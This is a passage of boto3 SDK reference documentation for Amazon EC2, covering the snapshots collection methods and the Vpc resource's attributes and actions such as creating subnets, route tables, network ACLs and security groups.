interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +snapshots + +A collection of Snapshot resources.A Snapshot Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.all() + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +filter(kwargs_) + +Creates an iterable of all Snapshot resources in the collection filtered by kwargs passed to method.A Snapshot collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.filter( + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +page_size(kwargs_) + +Creates an iterable of all Snapshot resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +[Vpc](#id1256) +---------------------------------------------------- + +_class_ EC2.Vpc(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Vpc: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc = ec2.Vpc('id') + +Parameters + +**id** (_string_) -- The Vpc's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Vpc.id "EC2.Vpc.id") + +These are the resource's available attributes: + +* [cidr_block](#EC2.Vpc.cidr_block "EC2.Vpc.cidr_block") +* [cidr_block_association_set](#EC2.Vpc.cidr_block_association_set "EC2.Vpc.cidr_block_association_set") +* [dhcp_options_id](#EC2.Vpc.dhcp_options_id "EC2.Vpc.dhcp_options_id") +* [instance_tenancy](#EC2.Vpc.instance_tenancy "EC2.Vpc.instance_tenancy") +* [ipv6_cidr_block_association_set](#EC2.Vpc.ipv6_cidr_block_association_set "EC2.Vpc.ipv6_cidr_block_association_set") +* [is_default](#EC2.Vpc.is_default "EC2.Vpc.is_default") +* [owner_id](#EC2.Vpc.owner_id "EC2.Vpc.owner_id") +* [state](#EC2.Vpc.state "EC2.Vpc.state") +* [tags](#EC2.Vpc.tags "EC2.Vpc.tags") +* [vpc_id](#EC2.Vpc.vpc_id "EC2.Vpc.vpc_id") + +These are the resource's available references: + +* [dhcp_options](#EC2.Vpc.dhcp_options "EC2.Vpc.dhcp_options") + +These are the resource's available actions: + +* [associate_dhcp_options()](#EC2.Vpc.associate_dhcp_options "EC2.Vpc.associate_dhcp_options") +* [attach_classic_link_instance()](#EC2.Vpc.attach_classic_link_instance "EC2.Vpc.attach_classic_link_instance") +* [attach_internet_gateway()](#EC2.Vpc.attach_internet_gateway "EC2.Vpc.attach_internet_gateway") +* [create_network_acl()](#EC2.Vpc.create_network_acl "EC2.Vpc.create_network_acl") +* [create_route_table()](#EC2.Vpc.create_route_table "EC2.Vpc.create_route_table") +* [create_security_group()](#EC2.Vpc.create_security_group "EC2.Vpc.create_security_group") +* [create_subnet()](#EC2.Vpc.create_subnet "EC2.Vpc.create_subnet") +* [create_tags()](#EC2.Vpc.create_tags "EC2.Vpc.create_tags") +* [delete()](#EC2.Vpc.delete "EC2.Vpc.delete") +* [describe_attribute()](#EC2.Vpc.describe_attribute "EC2.Vpc.describe_attribute") +* [detach_classic_link_instance()](#EC2.Vpc.detach_classic_link_instance "EC2.Vpc.detach_classic_link_instance") +* [detach_internet_gateway()](#EC2.Vpc.detach_internet_gateway "EC2.Vpc.detach_internet_gateway") +* [disable_classic_link()](#EC2.Vpc.disable_classic_link "EC2.Vpc.disable_classic_link") +* [enable_classic_link()](#EC2.Vpc.enable_classic_link "EC2.Vpc.enable_classic_link") +* [get_available_subresources()](#EC2.Vpc.get_available_subresources "EC2.Vpc.get_available_subresources") +* [load()](#EC2.Vpc.load "EC2.Vpc.load") +* [modify_attribute()](#EC2.Vpc.modify_attribute "EC2.Vpc.modify_attribute") +* [reload()](#EC2.Vpc.reload "EC2.Vpc.reload") +* [request_vpc_peering_connection()](#EC2.Vpc.request_vpc_peering_connection "EC2.Vpc.request_vpc_peering_connection") + +These are the resource's available collections: + +* [accepted_vpc_peering_connections](#EC2.Vpc.accepted_vpc_peering_connections "EC2.Vpc.accepted_vpc_peering_connections") +* [instances](#EC2.Vpc.instances "EC2.Vpc.instances") +* [internet_gateways](#EC2.Vpc.internet_gateways "EC2.Vpc.internet_gateways") +* [network_acls](#EC2.Vpc.network_acls "EC2.Vpc.network_acls") +* [network_interfaces](#EC2.Vpc.network_interfaces "EC2.Vpc.network_interfaces") +* [requested_vpc_peering_connections](#EC2.Vpc.requested_vpc_peering_connections "EC2.Vpc.requested_vpc_peering_connections") +* [route_tables](#EC2.Vpc.route_tables "EC2.Vpc.route_tables") +* [security_groups](#EC2.Vpc.security_groups "EC2.Vpc.security_groups") +* [subnets](#EC2.Vpc.subnets "EC2.Vpc.subnets") + +These are the resource's available waiters: + +* [wait_until_available()](#EC2.Vpc.wait_until_available "EC2.Vpc.wait_until_available") +* [wait_until_exists()](#EC2.Vpc.wait_until_exists "EC2.Vpc.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Vpc's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Vpc.load "EC2.Vpc.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +cidr_block + +* _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + +cidr_block_association_set + +* _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + +dhcp_options_id + +* _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + +instance_tenancy + +* _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + +is_default + +* _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the VPC. + + +state + +* _(string) --_ + + The current state of the VPC. + + +tags + +* _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +dhcp_options + +(DhcpOptions) The related dhcp_options if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_dhcp_options(kwargs_) + +Associates a set of DHCP options (that you've previously created) with the specified VPC, or associates no DHCP options with the VPC. + +After you associate the options with the VPC, any existing instances and all new instances that you launch in that VPC use the options. You don't need to restart or relaunch the instances. They automatically pick up the changes within a few hours, depending on how frequently the instance renews its DHCP lease. You can explicitly renew the lease using the operating system on the instance. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateDhcpOptions) + +**Request Syntax** + +response = vpc.associate_dhcp_options( + DhcpOptionsId='string', + DryRun=True|False +) + +Parameters + +* **DhcpOptionsId** (_string_) -- + + **[REQUIRED]** + + The ID of the DHCP options set, or default to associate no DHCP options with the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +attach_classic_link_instance(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachClassicLinkVpc) + +**Request Syntax** + +response = vpc.attach_classic_link_instance( + DryRun=True|False, + Groups=[ + 'string', + ], + InstanceId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + **[REQUIRED]** + + The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + * _(string) --_ +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of an EC2-Classic instance to link to the ClassicLink-enabled VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_internet_gateway(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = vpc.attach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +create_network_acl(kwargs_) + +Creates a network ACL in a VPC. Network ACLs provide an optional layer of security (in addition to security groups) for the instances in your VPC. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAcl) + +**Request Syntax** + +network_acl = vpc.create_network_acl( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the network ACL. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1143)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1145)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkAcl + +Returns + +NetworkAcl resource + +create_route_table(kwargs_) + +Creates a route table for the specified VPC. After you create a route table, you can add routes and associate the table with a subnet. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRouteTable) + +**Request Syntax** + +route_table = vpc.create_route_table( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the route table. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1148)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1150)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.RouteTable + +Returns + +RouteTable resource + +create_security_group(kwargs_) + +Creates a security group. + +A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +When you create a security group, you specify a friendly name of your choice. You can have a security group for use in EC2-Classic with the same name as a security group for use in a VPC. However, you can't have two security groups for use in EC2-Classic with the same name or two security groups for use in a VPC with the same name. + +You have a default security group for use in EC2-Classic and a default security group for use in your VPC. If you don't specify a security group when you launch an instance, the instance is launched into the appropriate default security group. A default security group includes a default rule that grants instances unrestricted network access to each other. + +You can add or remove rules from your security groups using AuthorizeSecurityGroupIngress , AuthorizeSecurityGroupEgress , RevokeSecurityGroupIngress , and RevokeSecurityGroupEgress . + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSecurityGroup) + +**Request Syntax** + +security_group = vpc.create_security_group( + Description='string', + GroupName='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- + + **[REQUIRED]** + + A description for the security group. This is informational only. + + Constraints: Up to 255 characters in length + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the security group. + + Constraints: Up to 255 characters in length. Cannot start with sg- . + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **TagSpecifications** (_list_) -- + + The tags to assign to the security group. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1153)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1155)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.SecurityGroup + +Returns + +SecurityGroup resource + +create_subnet(kwargs_) + +Creates a subnet in a specified VPC. + +You must specify an IPv4 CIDR block for the subnet. After you create a subnet, you can't change its CIDR block. The allowed block size is between a /16 netmask (65,536 IP addresses) and /28 netmask (16 IP addresses). The CIDR block must not overlap with the CIDR block of an existing subnet in the VPC. + +If you've associated an IPv6 CIDR block with your VPC, you can create a subnet with an IPv6 CIDR block that uses a /64 prefix length. + +Warning + +AWS reserves both the first four and the last IPv4 address in each subnet's CIDR block. They're not available for use. + +If you add more than one subnet to a VPC, they're set up in a star topology with a logical router in the middle. + +When you stop an instance in a subnet, it retains its private IPv4 address. It's therefore possible to have a subnet with no running instances (they're all stopped), but no remaining IP addresses available. + +For more information about subnets, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSubnet) + +**Request Syntax** + +subnet = vpc.create_subnet( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AvailabilityZone='string', + AvailabilityZoneId='string', + CidrBlock='string', + Ipv6CidrBlock='string', + OutpostArn='string', + DryRun=True|False +) + +Parameters + +* **TagSpecifications** (_list_) -- + + The tags to assign to the subnet. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1158)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1160)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **AvailabilityZone** (_string_) -- + + The Availability Zone or Local Zone for the subnet. + + Default: AWS selects one for you. If you create more than one subnet in your VPC, we do not necessarily select a different zone for each subnet. + + To create a subnet in a Local Zone, set this value to the Local Zone ID, for example us-west-2-lax-1a . For information about the Regions that support Local Zones, see [Available Regions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions) in the _Amazon Elastic Compute Cloud User Guide_ . + + To create a subnet in an Outpost, set this value to the Availability Zone for the Outpost and specify the Outpost ARN. + +* **AvailabilityZoneId** (_string_) -- The AZ ID or the Local Zone ID of the subnet. +* **CidrBlock** (_string_) -- + + **[REQUIRED]** + + The IPv4 network range for the subnet, in CIDR notation. For example, 10.0.0.0/24 . We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . + +* **Ipv6CidrBlock** (_string_) -- The IPv6 network range for the subnet, in CIDR notation. The subnet size must use a /64 prefix length. +* **OutpostArn** (_string_) -- The Amazon Resource Name (ARN) of the Outpost. If you specify an Outpost ARN, you must also specify the Availability Zone of the Outpost subnet. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.Subnet + +Returns + +Subnet resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an 